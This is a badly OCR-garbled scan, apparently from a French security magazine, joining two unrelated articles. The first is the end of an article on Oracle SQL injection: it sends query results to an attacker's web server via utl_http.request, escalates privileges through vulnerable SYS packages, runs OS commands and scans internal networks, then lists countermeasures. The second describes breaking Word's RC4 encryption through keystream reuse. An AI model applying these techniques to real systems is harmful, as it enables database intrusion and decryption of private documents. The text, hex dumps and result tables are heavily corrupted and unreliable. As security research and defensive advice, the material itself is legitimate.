- http:/lwww.red-database-security.com/wp/oracle_cheat.pdf

NOTE

Le systeme d'optimisation de requétes d’Oracle est
capable de détecter les portions inutiles dans une
requéte telles que assertions toujours fausses,
bloquant parfois I'exécution de la partie injectée.

6.2 Etape 2 : tester le canal

de sortie HTTP

Linjection SQL sur une base Oracle n'est pas suffisante,
il faut aussi s'assurer que les privileges suffisants sont
présents pour mener |'attacue. Il faut au préalable mettre
en place un serveur web que la base de données pourra
interroger a loisir. Ici, on ne se contente pas d’'un netcat,
car la fonction utl_http.request attend une réponse
HTTP correcte, et elle attendra cette réponse jusqu'au
timeout. En cas d’absence de réponse, une exception
est levée, et comme elle n’est pas gérée par l'injection,
elle atterrira dans les logs d’erreurs. Il en va de méme
lorsqu'un serveur web renvoie un code de réponse autre
que 200 (404, 504, 302, ...). Un tel comportement peut
s’avérer bruyant a la longue. Pour résoudre ce probléme,
il suffit de coder un faux serveur web qui renvoie
systématiquement une réponse avec le code HTTP 200.

Linjection suivante générera une requéte vers le site
web de l'attaquant, ce qui peut servir a récupérer des
résultats en les concaténant & I'URL :

Cependant, ce mécanisme presente certaines limitations,
car la taille de I'URL utilisée dans la requéte HTTP est
limitée et seule une chaine de caractéres de type varchar
peut étre concaténée dans 'URL.

6.2.1 Extension du canal de retour

Pour pouvoir exécuter des requétes et en récupérer les
résultats correctement, nous devons nous affranchir des
limitations imposées par la transmission d’information
via I'URL. Il est bien siir envisageable de fractionner la
requéte en plusieurs parties, comme c’est le cas dans
une injection SQL en aveugle, mais cela augmente
sensiblement la taille de l'injection et/ou le nombre
de requétes nécessaires pour rapatrier le résultat. De
plus, il est impossible de dépasser la limite protocolaire
imposée sur la taille des URL par le type varchar utilisé
en parametre dans la fonction utl_http.request().
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La encore, un package Oracle va venir nous tirer cette
épine du pied. En effet, Oracle dispose de packages
pour aider les développeurs a mettre en place des web
services, dontle trés utile DBMS_xmlgen.getxml(). Cette
fonction, accessible a tous (privileges PUBLIC), permetde
transformer le résultat d'une requéte en XML, échappant
au passage les caractéres problématiques.

Quant au package utl_HTTP, il est disponible par
défaut depuis la version 7.3.4. Ceci facilite grandement
le travail d’escalade de priviléges manuelle, car on peut
ainsi s’appuyer sur des résultats de requétes clairs et
directs avec un effort de code minimal.

De plus, la structure XML des réponses facilite 'extraction
et la réplication des données contenues dans la base.

6.2.2 Récupération des résultats a
|‘aide du canal de retour

La combinaison des techniques (décrite ci-dessus)
donne une injection de ce style :

11 est possible d'effectuer un peu d’évasion en encodant
la chaine ainsi injectée sous la forme d'une concaténation
| | de caractéres généres par la fonction chr(), qui prend
en parameétre le code ASCII de ce dernier.

6.3 Etape 3 : injecter une

fonction PL/SQL

En fonction de la base de données Oracle injectée,
il peut étre nécessaire d’effectuer une escalade des
priviléges vers DBA pour accéder a UTL_http ; parfois,
l'injection d’'une fonction PL/SQL quelconque suffira.
Dans un cas comme dans l’autre, pour pouvoir interagir
correctement avec un site web et en récupérer les
pages, il est nécessaire d’exécuter un bloc de PL/SQL.
Autant profiter d'une injection PL/SQL sur une fonction
privilégiee pour faire les deux.

Si la version de la base est inférieure a la 10.2.0.2,
l'injection peut se faire via SYS.DBMS_EXPORT_EXTENSION.
GET_DOMAIN_INDEX_TABLES.

11 est aussi possible d’exécuter du PL/SQL gréce aux
extensions XML fournies par Oracle, et ce a l'aide de
DBMS_xmlquery.getxml [8] et de I'exploitation de la
vulnérabilité SYS.DBMS\_METADATA.GET\_DDL,
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Injection de la fonction PL/SQL :

comit; ends ', )

Exécution de la fonction PL/SQL avec élévation des
priviléges :

Dans un papier récemment publié par David Litchfield,
il existe deux autres méthodes pour exécuter du code PL/
SQL depuis une injection SQL [16], 'une reposant sur
dbms_sqlhash.gethash via le détournement d'un curseur
[17], nécessitant l'exécution a de multiples reprises de
I'injection et l'autre reposant sur dbms_repcat_rpc.
validate_remote_rc:

D’apres ses dires, il existe un grand nombre de
fonctions PL/SQL injectables avec des capacités trés
limitées, mais aisément accessibles avec les priviléges
PUBLIC, Ces fonctions permettraient d’exécuter un bloc
de PL/SQL anonyme, permettant ainsi a un attaquant
d’exploiter certaines procédures PL/SQL pour effectuer
une élévation de privileges comme s'il était connecté au
listener TNS. C’est un point de vue que nous partageons,
en précisant que l'exécution de PL/SQL et I'accés au
package UTL_HTTP suffisent pour transformer une base
Oracle en proxy.

Il est aussi envisageable d’injecter une fonction PL/SQL
utilisateur, elles sont souvent trés simples a détourner,
car les développeurs Oracle n’imaginent pas que leurs
fonctions puissent étre attaquées ainsi. Cependant,
la découverte de vulnérabilités dans les fonctions PL/
SQL nécessiterait un article a part entiére et risquerait
de faire décrocher le lecteur (si ce n'est pas déja
fait :p).

Désormais, nous avons a notre disposition un bloc de
PL/SQL anonyme exécutable et les privileges suffisants
pour accéder au package UTL_HTTP, il ne nous reste plus
qu’'a mettre en place le code du proxy.

6.4 Etape 4 : mise en place

du proxy

Il s*agit la plus d'un développement que d’une
installation. En effet, 'intégralité du code nécessaire
a la « proxyfication » de la base Oracle repose sur les
fonctions fournies par UTL_HTTP.
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6.4.1 Le package UTL_HTTP Tk
].serve_r.-:&;{ o

Ce package Oracle, présent depuis la version 7.3.4,
met & la disposition du développeur un ensemble de
méthodes et structures PL/SQL permettant de gérer
le protocole HTTP, d’effectuer des requétes POST/GET
ainsi que l'authentification.

Voici donc le code permettant d’effectuer une requéte
HTTP avec des headers maison, utilisant l'injection SQL
de deuxiéme ordre sur sys.DBMS_export_extension.
get_domain_index_table pour exécuterle bloc PL/SQL.

La page est retournée via utl_http.request en
plusieurs fragments, il est possible de substituer cette
derniére par une série de requétes DNS vers l'attaquant,
ou une seule requéte HTTP en post (toujours a l’aide des
fonctions d’UTL_HTTP).

Ainsi, avec quelques centaines de lignes de Python,
on peut construire un proxy web fonctionnel.

Les canaux de fuites utl_http.request peuvent
étre remplacés par des requétes DNS en utilisant
utl inaddr.get host address(), ou TCP en utilisant
utl_TCP. Il est envisageable d’effectuer un tel transfert
en aveugle, mais le délai de récupération des pages serait
atrocement long et indiscret.

6.5 Etape 5 : découverte
d’autres cibles

Afin d'explorer plus en profondeur les capacités
de ce nouvel acces, l'allaguant peut procéder a un
scan des hotes disponibles en HTTP en utilisant
utl_http.get_host_name() et en itérant sur le bloc
d’adresses IP obtenu via utl_inaddr.get_host_name()
ou par attaque par force brute des blocs prives si par
malheur aucun reverse DNS n’est configuré pour pointer
sur I'h6te dans le réseau d’accueil de la base.

wiseneas -warsun 200 T
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Une telle découverte peut étre codée en Java et
exécutée sur le serveur Oracle, mais pour ce faire, il
faudra débloquer certains privileges spécifiques :

Apres la découverte d'un serveur web actif, 'attaquant
pourra a loisir rechercher de nouvelles pages vulnérables
et explorer plus en profondeur le réseau.

Dans le cas d'une attaque menée directement depuis
le listener TNS, si le pentester utilise Metasploit, par
exemple, il pourra s’affranchir de l'injection PL/SQL pour
exécuter la récupération de la page ainsi que 'utilisation
d’un canal de retour caché.

6.6 Exécution de commandes
sur I'OS hote

A partir du moment ou I'attaquant a les privileges
DBA (via l'exploitation d’une vulnérabilité, ou parfois
par défaut !), il est possible, via les packages Java,
d’'exécuter des commandes systéme. Pour ce faire, vous
pouvez utiliser soit le code fourni par Oracle [18], soit
le code suivant [19] (bien plus compact) ;

Vous pouvez aussi utiliser Metasploit pour exécuter
des commandes depuis le listener TNS [14]. Lexploitation
se déroule selon le scénario suivant : découverte d’un
listener TNS, identification de la version d’Oracle, brute
force du sid, brute force du login/pass. A partir de ce
point, I'attaquant peut exécuter du PL/SQL sur la base
Oracle et procéder & une escalade de priviléges pour
ensuite faire ce qu'il veut du systéme.

- Quelques contre-

mesures

Lapplication des patchs CPU (notamment celui de
Jjuillet 2009) est un bon début, mais il n'est pas toujours
possible de patcher une base pour des raisons de
rétrocompatibilité avec le code PL/SQL développé en
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interne. Dans ce cas, nous recommandons donc la révocation
des priviléges PUBLIC sur UTL_HTTP et SYS.DBMS EXPORT
EXTENSION.

Pour les versions qui posseédent les packages
DBMS_xmlquery, il est préférable de révoquer 1'access
a DBMMS_xmlquery.getxml et d’utiliser & la place
DBMS_xmlgen.getxml.

Les parametres d’entrée des fonctions PL/SQL devraient
étre vérifiés en s'appuyant sur les fonctions fournies
dans le package DBMS_Assert [20].

Si un attaquant est dans l'incapacité d’exécuter un
bloc de PL/SQL, il ne pourra pas non plus transformer
la base en proxy ou exécuter des commandes sur I'hote.

Empécher toute injection SQL c6té applicatif en utilisant
des « prepared statements » de fagon systématique,
et en validant bien les paramétres d’entrée, reste une
bonne solution.

Conclusion

Oracle et ses bases de données ont été la cible de
pas mal d’attaques ces derniers temps, et l'on peut
considérer ces « vieilles techniques » comme une épée
de Damoclés qui pese sur les SI. C'est la deuxiéme fois
qu'une preuve de concept de ver Oracle a été présentée
publiquement et, bien que les contre-mesures soient
simples, elle sont rarement appliquées. Une petite
requéte sur Shodan suffit a se rendre compte du nombre
de systemes potentiellement exposés.

Les DBA sont rarement conscients des risques
gu’encourent les systeémes sous leur responsabilité et se
sentent peu concernés par cette menace grandissante, Et
I'absence de code malveillant dans la nature exploitant
ce type de vulnérabilités n’est pas une raison valable
pour ne pas s’en préoccuper. Nous espérons que le
lecteur aura pris conscience de ce risque et qu’il
encouragera son ou ses DBA a appliquer le correctif
approprie. B
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ans tout cours de cryptographie universitaire, la taille de la clé est souvent
présentée comme une condition « clé » de la sécurité d'un cryptosysteme.
Pour les éditeurs de solutions sécurisées, la taille de la clé résume tout

et devient une condition suffisante. Mais, si cela marche sur le papier, dans la
pratique, il en est tout autrement. Les erreurs voire les trappes d’implémentation
réduisent souvent la sécurité prétendue d’une application a une peau de chagrin.
C’est également sans compter avec les erreurs propres aux utilisateurs : car si
la cryptoff::gr’e a été libéralisée, I"éducation des utilisateurs n‘a jamais été faite et
ces derniers se retrouvent avec des outils qui se retournent contre eux du fait
de lignorance de regles de base. Dans le cas d’un utilisateur lambda, c’est d’une
gravité toute relative, cela peut étre dramatique pour un usage professionnel. Dans
cet article, nous montrons comment opérationnellement casser le chiffrement RC4
128 bits de la suite Office de Microsoft (jusqu'a la version 2003) et réfléchissons a

comment dissimuler des trappes dans une application.

1 Introduction

La suite Office de Microsoft propose de protéger les
documents produits via un chiffrement allant du XOR (le
plus faible) a I'algorithme RC4 avec une clé de 128 bits.
Ce dernier est considéré comme offrant une sécurité
suffisante, tant pour la taille de la clé que vis-a-vis de
I'algorithme, considéré par l'industrie, il y a encore
peu, comme solide. Ce chiffrement est présent dans les
suites Office jusqu’a la version 2003. Mais rappelons
que cette derniére représente a ce jour plus de 75%
des licences des particuliers et encore prés de 80% des
licences professionnelles. Ceci s’explique parle fait quela
version Office 2007 n'a pas réussi a séduire beaucoup de
personnes du fait d'une rupture d’ergonomie déroutante’.

En 2005, un chercheur singapourien [I] a mis en
évidence une faiblesse dans l'utilisation de RC4 128 de
la suite Office : les clés restent les mémes pour toutes
les versions modifiées (révisions) d'un méme document :
grave erreur violant une regle de base en cryptographie.
Dans le cas du chiffrement par flot (et dans certains modes
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dans le chiffrement par bloc [2]), la réutilisation de la
clé est dramatique. Cette erreur est précisément celle
qui fait passer d'une sécurité parfaite (dans le cas d'un
systéeme de Vernam [3]) a une insécurité totale. Mais
ce chercheur n'a jamais expliqué comment exploiter en
pratique une telle faiblesse. Quelques publications [10]
[11] ont traité la méme problématique, soit de maniére
trés empirique [11], soit selon une approche et dans un
contexte beaucoup plus restreints [10]. Dans les deux
cas, le probléme de la détection n’est pas traité.

Pourtant, cette erreur est d’autant plus grave qu’elle
permet de cryptanalyser un systéme de type flot sans
passer par I'étape académique de recherche préalable
de la clé. Nous montrons dans cet article la technique mise
au point par 'auteur en 1994, mais publiée seulement
en 2009 [4] dans le cadre de la cryptanalyse de tout
systeme de chiffrement par flot (ou par bloc en mode flot)
mal utilisé (ou mal implémenté) permettant, en temps
polynomial, de retrouver le texte clair d'un message
chiffré. Nous en présentons l'application dans le cas de
Word (jusqu'aux versions 11.0, soit Office 2003). Le cas
Excel est traité dans [4] avec la méme efficacité.



Dans le cas de la suite Office de Microsoft, la
cryptanalyse est possible gréace a la combinaison de
deux faiblesses : la réutilisation des clés (en fait, 'unicité
du vecteur d’initialisation) et surtout 1’effacement non
sécurisé des fichiers temporaires. En considérant que
ces vulnérabilités ont perduré pendant des années - de
version en version d’Office - cela jette un éclairage
tout particulier sur I'une des techniques possibles pour
dissimuler une trappe dans une application : 50% dans
I'application, 50% au niveau de 1'OS et que chacune
d'elles ressemble a une vulnérabilité.

Sans perte de généralités, nous traiterons essentiellement
du cas Word. Les optimisations et le cas Excel sont
disponibles dans [2][8].

) Le chiffrement sous

Office

Le chiffrement sous Word se fait via un mot de passe.
Pour l'invoquer, on doit passer par le menu Outils — Options
—» onglet Sécurité — Options avancées. La fenétre présentée
en figure 1 permet de choisir le type de chiffrement
et de rentrer votre mot de passe, Attention, si vous ne
cliquez pas sur l'onglet Paramétres avancés (ce que se
contentent de faire la plupart des utilisateurs), alors
c’est le chiffrement par défaut qui sera utilisé : il s'agit
du plus faible (XOR constant).

R.C4, Microsoft Base Cryptographic Provider v1.0

RC4, Microsoft Base D55 and Diffie-Heliman Cryptographic Provider

RC4, Microsoft DH SChannel Cryptographic Provider

RC#, Microsoft Enhanced Cryptographic Provider v1.0

RC#, Microsoft Enhanced DSS and Diffie-Heliman Cryphographic Provider

RC4, Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype) i -

Choisir une longuswr de cbé : _' L

[ o ][ annuer |

Figure 1 ; Liste des chiffrements Word/Excel
isponibles

Trois grandes catégories de chiffrements sont proposées :

1. XOR constant

Cette méthode correspond aux algorithmes de
chiffrement Office 4 x. Le chiffrement XOR est utilisé
pour des raisons de compatibilité avec les anciennes
versions de Word et Excel. C'est1’algorithme utilisé
par défaut lorsque les parameétres régionaux sont
définis sur France.

Il s’agit d'un algorithme certes simple et rapide,
mais pitoyable en termes de sécurité. Il s'agit tout
bonnement d’un simple ou exclusif entre le texte
a chiffrer et un dérivé du mot de passe répété
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autant de fois que nécessaire. Cette technique de
XOR constant itéré est facile a casser. Le motif de
masquage est produit a partir du mot de passe
(16 octets). Ainsi, quelle que soit sa complexité, sa
récupération est instantanée par un logiciel spécialise
(type Advanced Office Password Recovery) ! Il s'agit
malheureusement de I'algorithme proposeé par défaut !

2. Chiffrement compatible avec Microsoft Office 97 /

Office 2000

1l s’agit d’un chiffrement propriétaire Office pris en
charge par Microsoft Word 97 et Microsoft Word 2000.
Le chiffrement compatible avec Office 97/Office 2000,
prédécesseur propriétaire de la méthode CryptoAPI
de Microsoft Internet Explorer, continue d’étre
I'algorithme de mot de passe utilisé pour assurer
la compatibilité en amont.

3. Algorithme RC4

Plusieurs options de services de chiffrement qui
utilisent ’algorithme RC4 sont proposées. Elles
fournissent différentes possibilités (comme la
signature numérique) et se distinguent principalement
par la longueur des clés utilisées. Historiquement,
elles correspondent aux différentes législations en
vigueur pour l'exportation vers des pays autres
que les Etats-Unis, Le dernier service de la liste
(« RC4, Fournisseur de chiffrement fort » selon
I’appellation de Word, voir figure 1) esl celui censé
offrir la meilleure sécurité, avec des clés de 128
bits. C’est celui que nous allons cryptanalyser.

RC4 est un chiffrement de type flot [3], c’est-a-
dire que le texte clair M est combiné a une séquence
aléatoire s produite par1’expansion de la clé K, pour
produire le texte chiffré C. Nous avons donc, pour
chaque caractere produit a I'instant t :

C,=M,®0c,

Le chiffrement étant symétrique, pour déchiffrer, il
suffit d’appliquer la suite s sur le texte chiffré, soit :

M=C®o,

La clé de chiffrement est générée par le logiciel.
Elle est obtenue & partir du mot de passe choisi
par le propriétaire du document et d'un vecteur
d’initialisation (IV) généré aléatoirement par Word
(IV pour Initialization Vector), qui sont concaténés
ensemble puis hachés :

K = F( H (IV || mot de passe))

ou F est une fonction de dérivation de clé
(produisant des valeurs de 128 bits), K est la clé
de chiffrement et H est la fonction de hachage (le
plus souvent SHA1) avec || désignant opérateur de
concaténation. Ainsi, la clé de chiffrement ne dépend
pas uniquement du mot de passe de 'utilisateur, ce
qui serait une vulnérabilité importante.
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Remarquons au passage que l'utilisation d'un méme
motde passe pour chiffrer différents documents n’aftaiblit
pas la clé de chiffrement puisque cette derniére est
obtenue en hachant ce mot de passe avec le vecteur
d'initialisation qui est censé étre génére aléatoirement
a chaque fois (notion de marquant de message).

Mise en évidence de la
vulnerabilite

3.1 Principe général

La vulnérabilité réside dans le fait que Microsoft Word
viole une regle fondamentale en cryptologie : il utilise le
méme vecteur d'initialisation pour chiffrer différentes
versions d'un méme document. Ainsi, un utilisateur qui
produit un document effectue des modifications et les
sauvegarde sous forme de copies du fichier original, et ce,
en conservant le méme mot de passe. Dans ce cas, toutes
les versions produites sont chiffrées avec la méme suite
chiffrante. Toutes ces versions sont appelées « messages
paralléles »?, On appelle « profondeur de parallélisme »
le nombre de messages paralléles relativement & une
méme suite chiffrante s.

3 2 Analyse technigue

Créons tout d’abord un document Word contenant le
texte : « Ceci est un essai de construction de messages
paralléles afin de montrer la vulnérabilité du chiffrement
de Microsoft Word ». La figure ci-dessous montre une
capture du texte en clair contenu dans le document original.

Ensuite, nous faisons les opérations suivantes :

- Ce document est alors protégé en lecture avec le
mot de passe « protection » et sauvegardé sous le
nom « messagel ».

- Ensuite, le texte est modifié en le texte « Ceci est un
essai de construction de deux messages paralléles
afin de montrer la vulnérabilité du chiffrement de
Microsoft Word. ». 1l est également chiffré avec
le méme mot de passe el sauvegardé sous le nom
« message2 ».

Les figures 2 et 3 montrent une capture hexadécimale
des 2 fichiers chiffrés :

Of f=mt

000004a00 1719:—NEap  dxD3
00000410 1 Oghtt. ~b .55, @u
DO000A20 Q UENwAliu: Tx. B
00000430 & &%) gU00 . ~11*
90000440 Astgs’ | |+ IRevie
00000450 B N Ep
10000460 L {#ssat 15 030 |
09000a70 GR7: HilpIXY. 1=,

Figure 2 : Version hexadécimale de message 1
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Of fzet

ooo0gAND 179> E&p ' (%D3
00000ALD .\ igkti . b 85, Bu
Co000AZ0 Q DEF~AE+z "= kU
00000430 6.8 .. 1JvEl c11’
00000440 171052 amxy ' o#58
00000450 5. 1% ok eyiex
00000460 Ina*ab 1! 0}45 £
00O00ATO PN IOSEIV =50

Figure 3 : Version hexadécimale de message 2

Nous voyons que les 37 premiers octets sont les mémes
entre les 2 fichiers chiffrés. Ceci prouve que la méme suite
chiffrante, et donc le méme vecteur d'initialisation, a été
employé pour chiffrer les deux versions du fichier. Pour
s’en convaincre, il suffit de comparer cette fois les vecteurs
d’initialisation (localisés aprés le marqueur 10 00 00 00).

Of fzet g L2 34 S & & 98 A'EEDEF¥
00001420 01 00 00 GO 30 06 2F 02 OO 00 00 GO 4D 00 &9 @0 0.7 Ni
00001430 63 00 72 00 6F 00 73 00 6F 06 66 00 74 00 20 00 c.r t
00001440  S3 00 74 00 72 D0 6F 00 6E 00 67 00 20 00 43 00 S.t.r.on.g .C.
00001450 |72 00 79 0D 70 00 74 00 6F 00 67 00 72 00 61 00 7.y

00001460 70 00 68 00 €3 00 63 00 20 00 S0 00 72 00 6F 00 p

Q0001470 | 76 00 €3 00 &4 00 65 00 72 00 00 00 B0 L]

00001480 ;? 68 9E 99 B89 A EC Fd Bi i 36 D4 7B |
000014%0 76 70 A0 7B SE 6B JE 17 9D 41 H6 4D OE BE 1

Figure 4 : Vecteur d'initialisation de message 1

"1 ELaERPEO( o
¥p (T IAIMEs

14

Offoat LG ArAlE 8 7 B A B LD B R
GO001420 0L DO 00 00 BO OA ZF 02 00 00 00 0D 4D 00 6% 0D
00001430 62 00 72 00 EF 00 72 00 &F 0D €56 0D 74 00 20 00 c.vr.o
0001440 63 00 74 00 72 00 6F OD 6E 00 67 00 20 00 43 00 S.t.r
oegoldso 72 00 7900 70 0D 74 O0 &F 0D &7 0D 72 00 61 00 z.yv.p
00001460 70 A0 68 GO &% 00 3 00 20 00 SD OO0 72 p.h.i

90001470 76 00 63 80 64 00 45 00 72 00 00 00 E 90 06 00 » & & o.x
oopol4s0 [2? 58 SE 99 BY A4 EC F4 Bl FS FD 36 Dd 7B IC &F| ‘hil Eiatsged] o
DOB014%0 75 71 BF 95 73 1F 68 25 40 E8 6C 43 BE 97 A5 91 uq_is hx@slCypy’

Figure 5 : Vecteur d'initialisation de message 2

D’un point de vue opérationnel (voir cryptanalyse
proprement dite plus loin), il est impératif que la partie
commune et identigue de texte clair (partie bleu clair sur
les figures 2 et 3) soit réduite au minimum. Nous avons
observé que cela est trés souvent le cas : par exemple,
la date est changée a chaque révision et se trouve en
tout début de document.

Toute cette analyse nous permet donc de conclure que
la vulnérabilité décrite n’est donc pas liée a algorithme
de chiffrement, mais a son implémentation au sein des
applications Microsoft Word.

3.3 Etude sommaire de la

structure d'un dot:-um'ent'
Word: | BlEL

Pour mener a bien la cryptanalyse, il est nécessaire de
repérer certaines données criliques. Tout d’abord, il est
nécessaire de connaitre la taille des données chiffrées et de
déterminer oli ces derniéres commencent et se terminent.

- Word positionne toujours le début du texte a 1'offset
0xA00.

- La taille des données (nombre de caractéres) se détermine
en lisant les valeurs x et y situées respectivement
aux offsets 0x21D et 0x21C. La taille T (en octets)
est alors donnée par la formule T = (x-8)* 2% + .



Ces données sont toujours accessibles en clair, méme
lorsque le fichier est chiffré avec l'option supplémentaire
« chiffrer les propriétés du document ».

3.4 Exploitation de la

vulnérabilité

Pour exploiter cette vulnérabilité, 1’attaque consiste
en trois phases :

- Dans un premier temps, a partir d’'un volume de
documents Microsoft Word chiffrés, extraire les
données utiles.

- Parmi ces documents, détecter ceux qui sont paralléles.

- Procéder au décryptement de ces messages paralleles.

Détection des

messages paralleles

4.1 Principe géneral

Sans perte de généralités, considérons deux textes
clairs M, et M, et leur chiffré respectif C, et C,. Soient
o, eto,les suites chiffrantes appliquées respectivement
sur M, et M,. Nous avons alors :

C,=M, 80, et C,=M,@oc,
Combinons les deux textes chiffrés par un XOR bit a
bit. Nous obtenons :

(C,®8C)= (M,06M)® (c,®0),)

Les messages M, et M, étant en clair, ils répondent
a des caractéristiques linguistiques propres a leur
langue d'origine, ici le frangais : chaque symbole (lettre,
chiffre, ponctuation) aura une fréquence d’apparition
différente, en tout cas différente de celle concernant
un texte chiffré (loi uniforme). Nous avons alors deux
propriétés intéressantes :

- La valeur M, @ M, posséde un profil statistique
aisément identifiable.

- Lavaleurs , ® o, aura un profil statistique aléatoire.

Ces deux propriétés nous permettent, pour C, ® C,, de
distinguer deux cas de figure et donc deux hypothéses
statistiques s'agissant de déterminer si M, ® M, sont
paralléles ou non.

- Hypothese nulle (H;) : Les textes ne sont pas
paralléles (par exemple : o | et o , sont différentes).
Le texte chiffré (C, @ C,) exhibe un profil statistique
totalement aléatoire.

SCIENCE & TECHNOLOGIE

- Hypotheése alternative (H,) : Les textes sont paralléles
(o, eto , sontidentiques du fait d'une mauvaise gestion
de clé). Le texte (C, ® C,) vaut alors exactement
M, & M, et de fait exhibe un profil statistique
caractéristique de la langue du texte clair.

Ces deux hypotheses permettent donc de batir un test
d’hypothéses simples [6][7] pour décider du parallélisme
de deux textes. Pour cela, nous devons choisir un estimateur
qui se comporte différemment selon H; ou H,.

4.2 Algorithme de détection

Nous choisissons |'estimateur suivant :
n
z= ZA ¢;®e, D1
=
Dans cette formule, n est la taille commune entre C, et
C, exprimée en bits (C,! et C,! représentent respectivement
les i*me bits des textes C, et C,. Lestimateur Z, en fait,
compte le nombre de bits valant zéro dans le texte
(C, @ C,). ll est alors facile de demontrer [5][6] que Z suit
une loi binomiale de parameétre n et p, oll p représente
la probabilité des bits de C, ® C, de valoir 0. Cette loi
binomiale peut étre approximée par une loi normale
(théoréeme central-limite) de paramétre np (espérance)
et ynp(1—p) (ecart type) lorsque n tend vers l'infini. Z
suit alors une loi normale N (np, Vhp(1—p)). Nous pouvons
donc construire le test facilement, car la valeur p va étre
différente selon les hypothéses H et H,.

- Sous H, (messages non paralleles), Z suit la loi

normale : .. n nu,.
N (E,T}

- Sous H, (messages paralleles), Z suivra alors la loi
normale : N(np,Jp(<—p)) avec p > % (en pratique,
pour la plupart des langages, tous groupes linguistiques
confondus, nous avons méme p > 0.6).

Le test est alors simple. On choisit un seuil S (défini
par les probabilites d'erreur que 1'on se fixe [7]) et la
décision s’établit comme suit :

-Si Z < S, alors les textes ne sont pas paralléles.

- Sinon (Z > S), les textes sont paralleles.

En pratique, les différentes expériences montrent des
pics trés importants de 'estimateur Z pour les textes
paralléles. La détection est ainsi aisée par la simple
présence d'un pic (voir résultats plus loin). Toutefois,
cela ne permet pas de discriminer plusieurs groupes
différenls de messages paralléles.

Mais pour lever cette difficulté, nous exploitons le fait
que le parallélisme est une relation d’équivalence’. Tout
groupe de messages paralleles sera en fait une classe
d’équivalence pour cette relation.

Lalgorithme de détection est alors trés simple : sur
N textes chiffrés, nous les comparons deux a deux et
extrayons les groupes de messages paralléles.
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Itats expérimentaux

Cette technique a été testée sur de trés nombreux
exemples, dans la plupart des langues et toujours avec
la méme efficacité. Pour illustrer cette méthode, nous
prenons un exemple test, facilement reproductible.
Nous avons construit 20 documents Microsoft Word
d’environ 1500 caractéres. Les documents ont ensuite été
chiffrés en RC4 128 bits. Parmi les 20, les cing premiers
(numérotés de 1 a 5) ont été protégés en effectuant
des copies successives d'un document original pour
lequel nous avons a chaque fois remplacé le texte. Ces
cing documents sont donc chiffrés avec la méme suite
chiffrante. Les résultats sont présentés dans la figure 6.

Prenidre colomne : fichiers comparés
Deuniéme colonne @ nombre de bits & « [ »
Troisiéne colomne : PIOPorTion de bits 2 « 0 »

=[1-2] GOWL 0. 638
=[1-3] €110 0. 662
=[1-4] €141 0, 665
£[1~5] €148 0. 666
s[1-€] 595 0.509

=[3-15] 4677 0.506 z(6-18] 4611 0.439
=[3-16] 4604 0.458 z{6~19] 4586 0.498
=[3-17] 4632 0.509 205-20] 4660 0.504
=[3-18] 4606 0.495 z|7-8] 4647 0.503
z[3-19] 4605 0.49% z{7-91 4657 0.504

2[10-20] 4829 0.501
=[11-12] 4503 0.459
=[11-13] 4670 0.506
=[11-14] 4582 0.495
2[11-15} 4573 0.49E

2{1-7] <636 0.502 =[3-20] 4627 0,501 2(7-10] 4580 0.45%6 a2{11-16] 4582 0.456
Eil-8] 607 0.493 =[4-5]1 #1193 0662 2{7-1L] 4554 0.497 =[11-17] 4584 0.456
s{1-5) 4545 0.4 sl4=6] 4634 0.502 ={7-12] 4658 0.505 z[11-18] 4642 0.303
z[1-10]} 4638 0. 502 ={4-7] 4585 D.456 2{7-13] 4626 0.501 a{11-19] 4851 0.497
#04-11] 4652 0. 504 =i4=8] 4626 0.501 2(7-14] 4550 0.493 2{11-20] 4553 0.497
Z(1-12] 4560 0. 454 ={4-5] 4622 0.500 z[7-18] 4667 0.505 =[12-13] 4548 0.452
=11-13] 4682 0. 507 ={4-10] 4€21 0.500 al7-16] 4548 0.452 ={lZ-14] 4552 0.497
=[1-14] 4634 0.502 =[4=11] 4703 D.509 al7-17] 4842 0,503 z{12-15] 455 0.457
=z[1-15] 4653 0. 504 = [4-12] 4627 0.501 27-18] 4562 0.4%4 ={1#-1€] 4614 0.500
=[1-15] 4578 0. 496 z[4-13] 4625 0. 501 2[7-18] 4625 0.500 ={L12-17] 45M 0.455
=[1-17] 4642 0. 503 Z[4-14] 4565 0,454 2[7-20] 4829 0.50l z{1l2-18] 4508 0.488
=[1-18] 4606 0. 4595 z[4-15) 4664 0.505 s[8-5] 4514 0.489 s{l2-19) 4549 0.452

=[1-19] 4601 0. 458
=[1-20] 4535 0, 508

=[12-20] 4619 0_500
®[1l3-14] 4598 0.438
=[13-15] 4677 0.506
Bl13-16] 4646 0.500
=[13-17) 4622 0.500
=[(15-18] 4648 0.503
=[18-19] 4655 0.504

=[4-16] 4611 0. 459 s[8-10] 4531 0.431

-804 si8-11] 4617 0.500
451 £[B=12] 4861 0.505
A9 glE-l2]  4£89 0.457
497 =[8-1¢] 4703 0.E10
501 =[8-1E1 4530 0.450
=[5-7] 459 0.498 z[8-16] 4661 0.508
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doter, dans ce type d’approche, d'un modé¢le pour le
langage cible. Ce modéle prend la forme d'un corpus?®.
Nous nous limitons au cas de la langue francaise, lequel
se généralise sans probléme a toutes les langues.

5.1 Modélisation d'une langue

- Construction du corj

11 s’agit de construire un modele qualitatif et quantitatif
de la langue des textes cibles. Une langue donnée, icile
francais, peut étre caractérisée parla fréquence d’apparition
de chaque caractére constituant la langue : lettres
minuscules, lettres majuscules, chiffres, ponctuation, ...
A titre d’exemple, le tableau ci-dessous donne les
fréquences d’apparition des 26 lettres de 1'alphabet (ici,
aucun autre caractere n'a été pris en compte et aucune
distinction n’a été faite entre minuscules et majuscules).

Lettre Fréquence Lettre Fréquence
a 3,40 n 7,13
b 1.08 o 5,26
t 303 P 301
d 4,18 q 0,99
e 17,26 3 6,59
7 1,12 : 2,08
g 1,27 t 7,07
h 0,92 u 5,74
i 7.3 v 1,32
i 0,31 w 0,04
k 0,05 X 0,45
1 5,01 5 0,30
m 2,96 z 0,12
Tableau 1 : Frequences des lettres en fr:

en pourcentage (résultats ebtenus a |

=[2-8] 4622 0. EOO =[E-8] 4535 0.456 Z[8-17] 4703 0.509 =[13-20] 4855 0.504
2[Z-9] 4550 0. 493 =[5-3]) 4E21 0.489 =[E8-18] 4585 0.4596 z[14~15] 4587 0.497
=[2-10] 4651 0. 504 =[5-10] 4653 0.504 z[8-19] 4642 0.502 =[14-16] 4562 0.494
w[Z-11] 4633 D. 502 =[5=11] 4538 0.50Z =[(8-20] 4654 0.508 =[14=17] 484Z 0.503
2[2-12] 4545 0. 498 z[5-12) 4540 0.451 T(3-10] 4545 0.45 =[14=18] 4534 0.45L
